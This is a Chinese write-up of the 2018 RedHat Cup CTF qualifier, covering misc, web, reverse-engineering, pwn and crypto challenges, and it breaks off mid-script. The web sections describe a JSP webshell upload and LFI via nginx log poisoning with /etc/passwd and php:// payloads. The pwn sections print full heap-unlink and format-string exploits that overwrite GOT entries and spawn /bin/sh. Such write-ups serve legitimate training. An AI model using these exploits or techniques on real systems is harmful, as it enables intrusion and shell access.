其他的WriteUp
2018-redhat-misc&web-writeup By 一叶飘零
第二届红帽杯线上初赛 RedHat 2018 WriteUp By impakho
Misc-签到
题目信息
Flag:flag{redhat_welcome}
提示
1. 提示进入q群218891597,某个管理员的群名片有点特别哦~
2. (一个队伍一个人加群即可)
解题思路
加群之后,有个管理的群名片即为flag
Misc-问卷
题目信息
Flag:flag{我们在广州塔等着你}
提示
解题思路
填写问卷,完成后获得flag
Misc-Not Only Wireshark
题目信息
附件名称:NotOnlyWireshark_ed63b63425ec3ed09470d8715b208293.zip
附件哈希:ed63b63425ec3ed09470d8715b208293
Flag:flag{1m_s0_ang4y_1s}
提示
1. Download
2. hint: tshark
解题思路
解压开是个pcapng流量包,查看http对象发现有猫腻
这里的
name
感觉像是文件的数据,123之后的看起来像是一个zip包的头,用strings提取出来丢到010,然后修复一下头(404b -> 504b)得到zip包打开后发现需要密码,返回继续看流量包,发现有个key参数,尝试用该参数的值作为密码,可以解开。
Misc-听说你们喜欢手工爆破
题目信息
附件名称:OS_038c9291c8039792d1aad140f6664671.iso
附件哈希:038c9291c8039792d1aad140f6664671
Flag:flag{5EFCF5F507AA5FAD77}
提示
1. flag{}内英文字母为大写形式
2. Download
解题思路
附件是个iso镜像,打开发现很多以哈希命名的txt,txt内容打开是base64,解码后表示flag不在此处
在iso文件的底部还有一个rar压缩包,打开发现要密码,于是把这些txt文件名称提取出来作为密码进行爆破,得到rar的密码为
0328fc8b43cb2ddf89ba69fa5e6dbc05
解压之后得到一个加密的word文档,尝试清除密码后打开得到下步提示,文档中的提示为电影
海边的曼彻斯特
剧情梗概,获得提示曼彻斯特编码,尝试用曼彻斯特对门禁代码123654AAA678876303555111AAA77611A321
解密。a = 0x123654AAA678876303555111AAA77611A321 flag = "" bs = "0" + bin(a)[2:] r = "" def conv(s): return hex(int(s, 2))[2:] for i in range(0, len(bs), 2): if bs[i:i+2] == '01': r += "0" else: r += "1" for j in range(0, len(r), 8): t = r[j:j+8][::-1] flag += conv(t[:4]) flag += conv(t[4:]) print flag.upper()
Misc-这是道web题?
题目信息
附件名称:yunCMS_256035f22b73fdb1c90fd7503c4005ed.zip
附件哈希:256035f22b73fdb1c90fd7503c4005ed
Flag:flag{S022y4orr5}
提示
1. Download
解题思路
一开始以为是代码审计,然后看着看着发现里面有pcapng流量包,然后联想到这题的分类,感觉不对,于是重心放在pcapng上,搜索了一下发现了7个流量包,逐个进行查看
其他的流量包内容都比较相似,唯独在yunCMS\yuncms\modules\az\fields\text\78466550-3fc1-11e8-9828-32001505e920.pcapng
这个包中有一个上传操作,上传了一个jpeg,把该jpeg扒出来
然后丢binwalk,发现追加隐写了一个gif,用010分离出来拿到这个gif,然后真的想打人。。。为所欲为表情包,给跪了。。。出题的太皮了。。。
发现gif表情包里有unicode,解码后得到flag
摘录对话如下,表情包请自行脑补:
大佬:sorry 大佬:fla 大佬:Do you want flag? 大佬:g{S 大佬:022 小白:不存在的! 大佬:y4o 大佬:rr5 大佬:}Give Y0u
题外话,讲真,这么出题不怕被打么?不怕被寄菜刀么?不怕悬赏寻找出题人么???
Web-simple upload
题目信息
Flag:flag{064b024d-e3ce-40b1-89c4-f7b5b7463040}
提示
1. 这次在你面前的网站的功能非常简单,接受挑战吧!
解题思路
题目是基于docker的,下发题目之后有个登陆页面,登录过程抓包,发现有个admin的cookie,然后扫描目录发现有个upload.html,上传过程抓包,发现检查了cookie,以及对MimeType做了检测,改为image/png
即可绕过
一开始以为是php的,上了php一句话发现不行,然后尝试了asp,aspx,jsp,发现jsp可以执行,重新上传jsp即可拿到shell。
在当前目录下有flag.txt,直接cat即可
Web-biubiubiu
题目信息
Flag:flag{dbc98dd7-90fb-44f4-8dbe-35a72f07ec9d}
提示
1. 这次在你面前的网站看起来很复杂,接受挑战吧!
解题思路
打开发现index有个page参数,猜测有文件包含,尝试../../../etc/passwd
果然是有包含的
然后尝试利用
php://input
执行一句话失败。尝试用php://filter/read=convert.base64-encode/resource=./index.php
读取源码也失败了。然后思路在这里小卡了一下,随手查了一下操作系统为Debian 9
,Web中间件是Nginx
,标准LNMP环境,于是思路又重新理清楚,每次访问nginx会记录log,向log中注入一句话然后包含即可shell,log文件的地址可以在nginx配置中看到,nginx配置默认在/etc/nginx/nginx.conf
log文件在
/var/log/nginx/access.log
,然后直接注入php一句话代码,结果发现浏览器做了urlencode,用burp重新发包即可拿到shell之后在
/var/www/html/
中找到数据库连接然后连上数据库后找到flag
比赛结束后才知道这是非预期解法,此处也给出本题的预期解法。
[题目]记一次利用gopher的内网mysql盲注 By Pr0ph3t
Web-shopping log/h1>
题目信息
Flag:flag{hong_mao_ctf_hajimaruyo}
提示
1. http://123.59.141.153/ 或者 http://120.132.95.234/
2. hint: 不需要注入
3. hint2:订单号从0000开始试可能不是一个明智的选择
4. (本题的解题范围在题目所在服务器内,请别在其他站点做测试。)
解题思路
查看源代码发现有个提示,将本机hosts直接修改到www.tmvb.com,再次访问发现需要设置Referer
修改了Referer之后再次访问发现仅允许jp的访问
于是修改http头的
Accept-Language
为ja
即可正常访问。根据提示,猜测这里应倒是要对订单号爆破,一共10000种可能,难点在于md5前6位,花了点时间生成了100W个md5,然后直接查表,直接丢脚本吧
import hashlib, requests, re, time cookie = sys.argv[3] def get_now_time(): return time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())) def get_captcha(): url = "http://www.tmvb.com/5a560e50e61b552d34480017c7877467info.php" headers = {'Accept-Language': 'ja', "Referer":"www.dww.com", "Cookie":"PHPSESSID=" + cookie} r = requests.get(url,headers=headers) a = re.findall(" '[\d\w]{6}'", r.text)[0][2:8] return a def submit_data(tid,captcha): url = "http://www.tmvb.com/api.php?action=report" headers = {'Accept-Language': 'ja', "Referer":"www.dww.com", "Cookie":"PHPSESSID=" + cookie} d = {"TxtTid":tid, "code":captcha} r = requests.post(url,headers=headers,data=d) return r.text def get_dic(): f = open("md5.txt","r") ret = f.readlines() f.close() return ret def get_md5_code(dic): while 1: captcha = get_captcha() for d in dic: if captcha in d: return captcha, d.split("\t")[0] if captcha.isdigit(): break def writelog(f_name, msg): f = open(f_name, "a+") f.write(msg+"\n") f.close() print(msg) def submit(): start = int(sys.argv[1]) stop = int(sys.argv[2]) dic = get_dic() f_name = "{}_{}.log".format(start,stop) for i in range(start, stop): now = get_now_time() tid = str(i) captcha, code = get_md5_code(dic) r = submit_data(tid, code) msg = "{} {} {} {} {}".format(now,tid,captcha,code,r) writelog(f_name, msg) submit()
我从正序开10进程全部跑了一遍,到9588才出来,真的想吐血,到后面才发现有个hint说从0000开始爆破不是好事
Web-guess id
题目信息
Flag:flag{}
提示
1. http://123.59.134.192/ 或 http://120.132.94.238/
2. hint: 身份证号码是有一定规律的
3. hint2: AES256是很棒的加密算法, ECB模式很容易理解
解题思路
未解出
Reverse-icm
题目信息
Flag:flag{f53fc1db-b7d3-4643-9b48-725f13129d07}
提示
解题思路
直接静态分析,主流程伪代码如下:
int __fastcall main(__int64 a1, char **a2, char **a3) { int result; // eax char v4; // [rsp+20h] [rbp-50h] int v5; // [rsp+48h] [rbp-28h] __int16 v6; // [rsp+4Ch] [rbp-24h] unsigned __int64 v7; // [rsp+58h] [rbp-18h] v7 = __readfsqword(0x28u); memset(&v4, 0, 0x28uLL); v5 = 0; v6 = 0; if ( (unsigned int)input_2047(&v4) != 42 ) // length == 42 return -1; result = check_1E84(&v4, 42); if ( result == 1 ) result = puts("You Are Right!"); return result; }
signed __int64 __fastcall check_1E84(const char *a1, int a2) { int v3; // [rsp+4h] [rbp-13Ch] int i; // [rsp+18h] [rbp-128h] int j; // [rsp+18h] [rbp-128h] int k; // [rsp+18h] [rbp-128h] char v7; // [rsp+20h] [rbp-120h] unsigned __int64 v8; // [rsp+128h] [rbp-18h] v8 = __readfsqword(0x28u); memset(&v7, 0, 0x100uLL); if ( a2 % 8 ) { for ( i = 0; 8 - a2 % 8 > i; ++i ) a1[a2 + i] = -35; a1[a2 + i] = 0; } v3 = strlen(a1); for ( j = 0; v3 / 8 > j; ++j ) encryt_1CFF((char *)&a1[8 * j], 8); // 6 group 8 bytes for ( k = 0; k < v3; ++k ) { if ( ((0x77 - k) ^ (unsigned __int8)a1[k]) != byte_203040[k] ) return 0xFFFFFFFFLL; } return 1LL; }
__int64 __fastcall encryt_1CFF(char *a1, signed int a2) { __int64 result; // rax unsigned __int8 i; // [rsp+1Fh] [rbp-41h] unsigned __int8 j; // [rsp+1Fh] [rbp-41h] unsigned __int64 v5; // [rsp+20h] [rbp-40h] __int64 v6; // [rsp+28h] [rbp-38h] char s[16]; // [rsp+30h] [rbp-30h] unsigned __int64 v8; // [rsp+48h] [rbp-18h] v8 = __readfsqword(0x28u); v5 = 0LL; v6 = 0LL; *(_QWORD *)s = 0LL; *(_QWORD *)&s[8] = 0LL; gen_key_1BAC(); for ( i = 0; i < a2; ++i ) { s[2 * i] = hex_1AAD((unsigned __int8)a1[i] >> 4); s[2 * i + 1] = hex_1AAD(a1[i] & 0xF); } __isoc99_sscanf(s, "%016llx", &v5); en_CCE(v5, (__int64)random_hex_203090, &v6); sprintf(s, "%016llx", v6); for ( j = 0; ; ++j ) { result = j; if ( j >= a2 ) break; a1[j] = unhex_1AFE(&s[2 * j]); a1[j] ^= 8 - j; } return result; }
__int64 __fastcall sub_CCE(unsigned __int64 a1, __int64 a2, _QWORD *a3) { _QWORD *v4; // [rsp+8h] [rbp-C8h] signed int i; // [rsp+24h] [rbp-ACh] signed int j; // [rsp+24h] [rbp-ACh] signed int l; // [rsp+24h] [rbp-ACh] signed int k; // [rsp+28h] [rbp-A8h] unsigned int v9; // [rsp+2Ch] [rbp-A4h] __int16 v10[8]; // [rsp+30h] [rbp-A0h] _WORD v11[4]; // [rsp+40h] [rbp-90h] char v12[96]; // [rsp+50h] [rbp-80h] unsigned __int16 v13; // [rsp+B0h] [rbp-20h] __int16 v14; // [rsp+B2h] [rbp-1Eh] __int16 v15; // [rsp+B4h] [rbp-1Ch] unsigned __int16 v16; // [rsp+B6h] [rbp-1Ah] unsigned __int64 v17; // [rsp+B8h] [rbp-18h] v4 = a3; v17 = __readfsqword(0x28u); for ( i = 0; i <= 3; ++i ) v10[i] = a1 >> 16 * (3 - (unsigned __int8)i); v9 = sub_1430((_WORD *)a2, v12); for ( j = 0; j <= 7; ++j ) { sub_118A((unsigned __int16 *)v10, (unsigned __int16 *)&v12[12 * j], v11); for ( k = 0; k <= 3; ++k ) v10[k] = v11[k]; } swap_B37(&v11[1], &v11[2]); v11[0] = mul_A46(v11[0], v13); v11[1] = add_9F5(v11[1], v14); v11[2] = add_9F5(v11[2], v15); v11[3] = mul_A46(v11[3], v16); *v4 = v11[0]; for ( l = 1; l <= 3; ++l ) *v4 = (unsigned __int16)v11[l] | (*v4 << 16); return v9; }
通过加密函数的分组、及具体算法里的swap,mul,add等操作,看出是idea算法。
直接dump伪随机数生成的固定key(hex):18fe9c970a7296f5c2fdeeae147592aa
。
通过简单异或得到目标加密串。
a='D0E0AB9CCD785B543DE4EA3351446D3C4ECEDFB541001CECE31BC38C91257F1B60FE359CEA044C878D97935CB89A7075'.decode('hex') >>> s='' >>> for i in range(48): ... s += chr(ord(a[i])^(0x77-i)) ... >>> s.encode('hex') 'a796dee8be0a2a24528a875f3a2e045429a8bad122627d8cbc459ed0ca7f264337a860c8b9561dd7c2d9de10f3d0393d' >>> s1='' >>> for i in range(48): ... s1 += chr(ord(s[i])^(8-(i%8))) ... >>> s1.encode('hex') 'af91d8edba0928255a8d815a3e2d065521afbcd426617f8db44298d5ce7c24423faf66cdbd551fd6caded815f7d33b3c'
直接用工具解密得到flag(去除尾部补位):flag{f53fc1db-b7d3-4643-9b48-725f13129d07}
Reverse-wcm
题目信息
Flag:flag{e4435341-401a-4bc4-96c1-eadf1951d904}
提示
解题思路
做了icm,ccm,再做到这题也没什么了。大概流程相同。输入为42bytes。然后进行分组加密,最后进行异或并与常量串校验。
至于加密算法,很容易就能看出,国密4,因为算法没有进行过任何更改,所以SBOX,FK等都没有变,直接能对应上加密算法。异或得到加密串:
>>> st = [ ... 0xF4, 0x88, 0x91, 0xC2, 0x9B, 0x20, 0x5B, 0x03, ... 0xF1, 0xED, 0xF6, 0x13, 0x46, 0x3C, 0x55, 0x81, ... 0x61, 0x0F, 0xFF, 0x14, 0x6E, 0x1C, 0x48, 0x28, ... 0x79, 0x9F, 0x85, 0xAF, 0xC5, 0x58, 0x0D, 0xD6, ... 0xA5, 0xD9, 0x64, 0xFD, 0x46, 0x09, 0x8C, 0xDF, ... 0x3B, 0xA5, 0x37, 0x62, 0x5A, 0xA6, 0xD2, 0x4B] >>> ... ss = '' >>> for i in range(len(st)): ... ss += chr(st[i]^(51+i)) ... >>> print ss.encode('hex') c7bca4f4ac186239cad1cb2d797c14c3224bba522954016232d3c8e18a085c84f68d31ab1151d58560f96a3c05c6b329 >>>
密钥为伪随机数生成的固定密钥,dump:DA98F1DA312AB753A5703A0BFD290DD6
。
直接工具解密得到:flag{e4435341-401a-4bc4-96c1-eadf1951d904}
Reverse-ccm
题目信息
Flag:flag{54f946f5-f95a-4a0a-ba31-7b171a7eca82}
提示
解题思路
还是直接静态分析,有壳,不过壳比较简单,简单跟下,对照静态分析,发现OEP跳转位置。
.nsp1:0040640C popa .nsp1:0040640D popf .nsp1:0040640E jmp near ptr byte_401939
去除动态基地直接在40640E下断,f8,dump,利用偏移2000处API地址修复IAT,脱壳完成。主要伪代码如下:
int __cdecl main(int argc, const char **argv, const char **envp) { FILE *v3; // eax char v5; // [esp+1h] [ebp-55h] char Buf[44]; // [esp+2h] [ebp-54h] Buf[0] = 0; memset(&Buf[1], 0, 0x4Fu); puts("Input Flag"); v3 = _iob_func(); fgets(Buf, 44, v3); if ( Buf[42] != 10 ) return -1; Buf[43] = 0; *(&v5 + strlen(Buf)) = 0; if ( strlen(Buf) != 42 ) return -1; if ( check_401380((int)Buf, 42) == 1 ) printf("Right!\n"); return 0; }
int __fastcall check_401380(int a1, int a2) { int num; // ebx _BYTE *input; // esi void *heap1; // ebx _BYTE *heap2; // edi int v7; // ecx void *v8; // ST14_4 void (__cdecl *v9)(void *); // ebx int v10; // edx signed int v11; // eax signed int v12; // esi unsigned int v13; // ecx int input_1; // [esp+8h] [ebp-5CCh] int num1; // [esp+Ch] [ebp-5C8h] int num1a; // [esp+Ch] [ebp-5C8h] char s2; // [esp+13h] [ebp-5C1h] char s3; // [esp+14h] [ebp-5C0h] char s4; // [esp+15h] [ebp-5BFh] char s1; // [esp+16h] [ebp-5BEh] char s5; // [esp+17h] [ebp-5BDh] char v22; // [esp+18h] [ebp-5BCh] char v23[729]; // [esp+2F4h] [ebp-2E0h] num = a2; input = (_BYTE *)a1; num1 = a2; input_1 = a1; dword_4033CC = GetTickCount(); if ( format_check_401320(input, num) != 1 ) // flag{ // idx 13 18 23 28 为_ return -1; random_str_84_401280(); heap1 = malloc(0x100u); heap2 = malloc(0x100u); memset(heap1, 0, 0x100u); memset(heap2, 0, 0x100u); hex_4012C0((int)heap1, input_1, num1); GetTickCount(); sub_401000(v23, &v22); sub_401170((int)heap2, (const char *)heap1, v7, (int)v23, (int)&v22); v8 = heap1; v9 = free; free(v8); GetTickCount(); s1 = heap2[7]; s2 = heap2[23]; s3 = heap2[39]; s4 = heap2[55]; s5 = heap2[71]; num1a = 2 * num1; if ( num1a <= 0 ) { LABEL_11: v9(heap2); v13 = (dword_4021C0[(unsigned __int8)(LOBYTE(dword_4021C0[(unsigned __int8) (LOBYTE(dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)]) ^ ((unsigned __int16)~LOWORD(dword_4021C0[(unsigned __int8)~s1]) >> 8) ^ s3)]) ^ ((unsigned __int16)(LOWORD(dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)]) ^ ((dword_4021C0[(unsigned __int8)~s1] ^ 0xFFFFFFu) >> 8)) >> 8) ^ s4)] ^ ((dword_4021C0[(unsigned __int8)(LOBYTE(dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)]) ^ ((unsigned __int16)~LOWORD(dword_4021C0[(unsigned __int8)~s1]) >> 8) ^ s3)] ^ ((dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)] ^ ((dword_4021C0[(unsigned __int8)~s1] ^ 0xFFFFFFu) >> 8)) >> 8)) >> 8)) >> 8; return 2 * (~(dword_4021C0[(unsigned __int8)(LOBYTE(dword_4021C0[(unsigned __int8)(LOBYTE(dword_4021C0[(unsigned __int8)(LOBYTE(dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)]) ^ ((unsigned __int16)~LOWORD(dword_4021C0[(unsigned __int8)~s1]) >> 8) ^ s3)]) ^ ((unsigned __int16)(LOWORD(dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)]) ^ ((dword_4021C0[(unsigned __int8)~s1] ^ 0xFFFFFFu) >> 8)) >> 8) ^ s4)]) ^ ((unsigned __int16)(LOWORD(dword_4021C0[(unsigned __int8)(LOBYTE(dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)]) ^ ((unsigned __int16)~LOWORD(dword_4021C0[(unsigned __int8)~s1]) >> 8) ^ s3)]) ^ ((dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)] ^ ((dword_4021C0[(unsigned __int8)~s1] ^ 0xFFFFFFu) >> 8)) >> 8)) >> 8) ^ s5)] ^ v13) == 0x9D945A6E) - 1; } v10 = num1a; v11 = 0xCC; v12 = 7; while ( v11 - 0xCC == v12 ) { v12 += 16; LABEL_9: if ( ++v11 - 0xCC >= v10 ) { v9 = free; goto LABEL_11; } } if ( *((unsigned __int8 *)&dword_402160[-51] + v11) == (v11 % 256 ^ (char)heap2[v11 - 0xCC]) ) { v10 = num1a; goto LABEL_9; } free(heap2); return -1; }
更多代码就不上了。算法比较简单,除了CRC32 hash,也没有通用加密算法。先是格式检查,前5字节为:
>>> print ''.join([chr(i^0x99) for i in [0xFF, 0xF5, 0xF8, 0xFE, 0xE2]]) flag{
42bytes输入字串index 为 13 18 23 28 处的字符是_
。
然后生成三张表,其中一张是通过伪随机数生成。对输入hex并进行简单置换。得到84 Bytes的字串,最后异或比较79bytes,其余5bytes通过crc32校验,5bytes中其中有1字节是由{的低4位生成,值已确定,众所周知,通过最后4bytes能更改到任何crc32值,所以crc32只能确定唯一的4byte。
虽然以前做gslab把crc32其及4byte逆推都做了查表实现,为了简化代码,crc32部分只能跑一下了。代码如下:
import string from zlib import crc32 table1 = 'GHIJKLMNOPQRSTUV' table2 = 'sxcunsbjptdunaaxklcvxsikxiewcmpwdngfqtfvomgkbwjrmccntqlratukzoafmngbyykjtabnhrnmweln' table3 = string.lowercase table4 = 'GHIJKLMNOP1234567890' str_t = [ 0x81, 0x80, 0x83, 0xBA, 0x9D, 0x99, 0x9F, 0x00, 0x9A, 0xAC, 0x9C, 0x9B, 0x92, 0x92, 0x97, 0x96, 0x96, 0x8D, 0x94, 0x94, 0xAA, 0xAC, 0xAF, 0x00, 0xAE, 0xA9, 0xAF, 0x81, 0xA5, 0xA4, 0xA0, 0xBB, 0xA6, 0xA1, 0xA3, 0xA7, 0xB9, 0x89, 0xB8, 0x00, 0xB9, 0xBD, 0xBC, 0xB0, 0xB5, 0xB1, 0xB3, 0x8A, 0xB1, 0xB4, 0xB3, 0xB7, 0x4A, 0x4B, 0x48, 0x00, 0x4D, 0x73, 0x4C, 0x49, 0x45, 0x40, 0x40, 0x43, 0x46, 0x43, 0x44, 0x47, 0x5D, 0x59, 0x58, 0x00, 0x59, 0x59, 0x5B, 0x5D, 0x55, 0x51, 0x50, 0x54, 0x56, 0x54, 0x50, 0x7A] str_s = '' l = 'NMKHN' count = 0 for i in range(84): if i%16 != 7: str_s += chr(str_t[i]^((0xcc+i)%256)) else: str_s += l[count] count += 1 print str_s str_s_s = '' count = 0 for i in str_s: if i == '-': str_s_s += '-' elif i.islower(): c = ord(table2[count]) - 0x61 c1 = (table3[c:]+table3[:c]).index(i) str_s_s += table3[c1] count += 1 else: str_s_s += str(table1.index(i)) print str_s_s #for i1 in table4: # for i2 in table4: # for i3 in table4: # for i4 in table4: # if crc32(('N'+i1+i2+i3)+i4)&0xffffffff == 0x9D945A6E: # print i1+i2+i3+i4 #MKHN
最终flag为:flag{54f946f5-f95a-4a0a-ba31-7b171a7eca82}
Reverse-Explain
题目信息
Flag:flag{Th1s_1s_TiNy_VirtUA1_MacHine!}
提示
解题思路
同样有壳,简单静态看下就能看到OEP的跳转:
0040817C .- E9 F398FFFF jmp Explain.00401A74
还是同样的下断,dump,修复IAT。
int __cdecl main(int argc, const char **argv, const char **envp) { gen_vmcode_401000(); run_vm_code_401410(); free(heap1); free(vm_code_403368); return 0; }
此题是简单的VM题。 做题过程中,作了简单的记录,记录不全,将就看吧。
22 heap1[data] = getchar 3 data <0x1000 23 word_403374[data] = getchar 2 data <4 24 heap1[word_403374[data]] = getchar 2 data <4 25 putchar heap1(data) 3 data <0x1000 26 putchar word_403374[data] 2 data <4 27 putchar heap1(word_403374[data]) 2 data <4 29 word_403374[data_0] = data1_2 4 data0 <4 2b heap1[data0_1] = data_2 4 data1_2<0x1000 2c word_403374[data_0] eq word_403374[data_1] 3 data <4 2e 3 data<4 2f heap1[word_403374[data_0]] eq heap1[word_403374[data_1]] 3 data<4 2d word_403374[data_0] eq data1_2 4 data<4 31 word_403374[data_0] += data_1_2 4 data_0 <4 38 heap1[word_403374[data_0]] ^= data_1_2 4 data_0 <4 39 heap1[word_403374[data_0]] ^= word_403374[data_1] 3 data<4 3a vm_off_403370 = data_0_1 3 data <0x1000 3b 3 data <0x1000 3c vm_off_403370 = data_0_1 3 data <0x1000 3e ret == 1
heap1[A0] = target_str reg0 60 reg1 00 loop1: heap1[60] = getchar reg0 + 1 = 61 reg1 + 1 = 1 reg1 == 23? ne goto loop1 off = ac reg0 60 reg1 0 loop2: heap1[60]^reg1 input reg0++ reg1++ reg1 == 23 ? ne goto loop2 off=c5 reg0 60 reg1 a0 reg2 00 heap[reg0] == heap[reg1] ? off = 11a reg0 = 40 reg1 = 00 heap[reg0] ^= dd putchar heap[reg0] reg0++ reg1++ reg1 ==2 ? off=104 heap[reg0] ^= dd
VM代码有部分解析没记录,大概流程能看出来,就是先初始化目标校验字串,然后输入35字节,并将其与自身index异或,最后与目标字串比较校验。然后打印结果。
>>> a=[0x66,0x6D,0x63,0x64,0x7F,0x51,0x6E,0x36,0x7B,0x56,0x3B,0x78,0x53,0x59,0x67,0x41,0x69,0x4E,0x44,0x7A,0x66,0x61,0x43,0x56,0x29,0x46,0x57,0x7A,0x7F,0x55,0x77,0x71,0x45,0x00,0x5F] >>> s='' >>> for i in range(len(a)): ... s+=chr(a[i]^i) ... >>> s 'flag{Th1s_1s_TiNy_VirtUA1_MacHine!}'
PWN-game server
题目信息
Flag:flag{}
提示
1. nc 123.59.138.180 20000
2. Download
解题思路
未解出
PWN-Shellcode Manager
题目信息
Flag:flag{}
提示
1. nc 123.59.138.180 20000
2. Download
解题思路
这题我自己没解出来,这里直接贴他人的exp吧
import pwn import ctypes key = '' def run_key(s): global key dll = ctypes.CDLL('libc.so.6.64') for i in range(0x10000): key = '' dll.srand(i) for j in range(0x20): key += chr(dll.rand() & 0xff) if rc4(s) == 'No passcode No fun\n': return def rc4(data): sbox = [] for i in range(256): sbox.append(i) num_sum = 0 for i in range(256): num_sum = (sbox[i] + num_sum + ord(key[i & 0x1f])) & 0xff sbox[i],sbox[num_sum] = sbox[num_sum],sbox[i] i1 = 0 i2 = 0 s = '' for i in range(len(data)): i1 = (i1 + 1)&0xff i2 = (i2 + sbox[i1])&0xff sbox[i1],sbox[i2] = sbox[i2],sbox[i1] s += chr(ord(data[i]) ^ sbox[(sbox[i1]+sbox[i2])&0xff]) return s def recv_data(p): size = p.recv(4) data = p.recv(pwn.u32(size)) data = rc4(data[:-1]) return data def send_data(p, data): p.sendline(str(len(data))) p.send(rc4(data)) def recv_N_time(p, n): for i in range(n): recv_data(p) def change(p, ID, data): recv_N_time(p, 7) p.sendline('3') recv_data(p) p.sendline(str(ID)) recv_data(p) send_data(p, data) recv_data(p) def new(p, size): recv_N_time(p, 7) p.sendline('1') recv_data(p) p.sendline(str(size)) recv_data(p) def leak(p, ID): recv_N_time(p, 7) p.sendline('4') recv_data(p) p.sendline(str(ID)) p.recvline() data = p.recvline() return data def delete(p, ID): recv_N_time(p, 7) p.sendline('2') recv_data(p) p.sendline(str(ID)) recv_data(p) #p = pwn.process('./pwn3') p = pwn.remote('123.59.138.180', 13579) size = p.recv(4) data = p.recv(pwn.u32(size))[:-1] run_key(data) send_data(p, '1Chun0iu') new(p, 0xf8) new(p, 0xf8) new(p, 0xf8) payload = '' payload += pwn.p64(0) payload += pwn.p64(0xf0) payload += pwn.p64(0x602130-0x18) payload += pwn.p64(0x602130-0x10) payload += '0'*0xd0 payload += pwn.p64(0xf0) change(p, 1, payload) delete(p, 2) change(p, 1, '1'*24+pwn.p64(0x602090)+'11') address = leak(p, 1)[:-1] libc_addr = pwn.u64(address.ljust(8,'\x00')) - 0x0000000000036e80 sys = libc_addr + 0x0000000000045390 change(p, 1, pwn.p64(sys)) p.sendline('/bin/sh') p.interactive()
PWN-Starcraft RPG
题目信息
Flag:flag{c489ae3664013838cfc0543e5af5693f}
提示
1. nc 123.59.138.180 13799
2. Download
解题思路
此题是借助堆的格式化漏洞利用题。 在角色建立时,只有2角色是先分配存储name的堆,后分配存储格式化串的堆。而角色1在写格式化串时有个选择,如果不为1或2则不写格式化串。
利用思路就是先创建角色2,name处写上格式化串,删除,再创建角色1,并不写格式化串。这时角色1的格式化串就是角色2时写的name。因为free再分配堆时还有转large bin的过程。所以name的前16字节会被覆盖,格式化串要偏移16字节。
剩下的就是格式化的利用了。不多说,主要是改atoi调用为system调用。因为此函数一直调用,所以需要中转下,最后一步再让其跳转到system。直接看exp代码。
#!/usr/bin/env python from pwn import * def fmt(fmtstr,debug=False): global p p.recvuntil('exit\n') p.sendline('1') p.recvuntil('Kerrigan\n') p.sendline('2') p.recvuntil('name: ') p.sendline("0"*16+fmtstr) if (debug): gdb.attach(p,'b *0x804884C') delete(0) p.recvuntil('exit\n') p.sendline('1') p.recvuntil('Kerrigan\n') p.sendline('1') p.recvuntil('name: ') p.sendline('B'*8) p.recvuntil("StimPack\n") p.sendline('3') p.recvuntil('exit\n') p.sendline('2') def j_fmt(fmtstr): global p fmt(fmtstr) p.recvuntil('do?') delete(0) def delete(idx): global p p.recvuntil('exit\n') p.sendline('3') p.recvuntil("delete?\n") p.sendline(str(idx)) def pwn(): global p system_off = 0x3a940 libc_main_ret_off = 0x18637 # system_off = 0x40310 # libc_main_ret_off = 0x19af3 setb_got_plt = 0x804B00C setb_plt = 0x80484d0 atoi_got_plt = 0x804B038 fmt('%213$xDEADBEEF',debug=False) p.recv(16) ret = p.recvuntil('DEADBEEF')[:-8] ret_addr = int(ret,16) system_addr = ret_addr - libc_main_ret_off+ system_off sys_l = system_addr&0xffff sys_h = system_addr >> 16 raw_input('?') delete(0) fmtstr_addr = '%%%dc%%204$n\x00' fmtstr_val1 = '%%%dc%%212$hn\x00' fmtstr_val2 = '%%%dc%%212$n\x00' fmtstr = fmtstr_addr%(setb_got_plt-0x10) j_fmt(fmtstr) fmtstr = fmtstr_val1%(sys_l-0x10) j_fmt(fmtstr) fmtstr = fmtstr_addr%(setb_got_plt-0x10+2) j_fmt(fmtstr) fmtstr = fmtstr_val1%(sys_h-0x10) j_fmt(fmtstr) fmtstr = fmtstr_addr%(atoi_got_plt-0x10) j_fmt(fmtstr) fmt(fmtstr_val2%(setb_plt-0x10)) p.recvuntil('exit\n') p.sendline("/bin/sh") p.interactive() if __name__ == '__main__': context.arch = 'i386' # libc = ELF('./libc.so.6') if len(sys.argv) < 2: # p = process('./babyheap',env = {'LD_PRELOAD':'/lib/x86_64-linux-gnu/libc-2.19.so'}) p = process('./pwn4') context.log_level = 'debug' else: p = remote(sys.argv[1], int(sys.argv[2])) context.log_level = 'debug' # context.log_level = 'debug' pwn()
Crypto-3dlight
题目信息
Flag:flag{fafe7bab4ee995a2883b67bec70ed398}
提示
1. nc 123.59.138.211 20000
2. Download
解题思路
这题我自己并未做出来,此处直接贴上他人的exp吧,写的可真鸡儿复杂啊
from pwn import * import time context_level = "debug" def check(x, y, z): if x < 0 or x > 7 or y < 0 or y > 7 or z < 0 or z > 7 or temp_data[x][y][z] != -1: return False return True def test_value(x, y, z): if x < 0 or x > 7 or y < 0 or y > 7 or z < 0 or z > 7: return False return True temp_data = [[[-1 for i in xrange(8)] for i in xrange(8)] for i in xrange(8) ] find_l = [0,2,4,6,8,10,12,14,16,18,20,22,24,26,27,28,29,30,31,32,33,34,35,36 ,37,39,41,43,45,47,49,51,53,55,57,59,61,63] for i in find_l: x = i / 8 y = i % 8 if temp_data[x][y][7] == -1: temp_data[x][y][7] = 0 test = 0 while True: test += 1 conn = remote("123.59.138.211", 20000) recv = conn.recv() print recv str_ = recv.find("ciphertext is : ")+16 if str_ < 16: recv = conn.recv() print recv str_ = recv.find("ciphertext is : ") + 16 enflag = recv[str_:].strip("\n") print enflag flagdegex = enflag.decode("hex") flag_list = [[[(ord(flagdegex[i*8*8 + j*8 + k])) for k in xrange(8)] for j in xrange(8)] for i in xrange(8)] for i in xrange(8): for j in xrange(8): for k in xrange(8): if 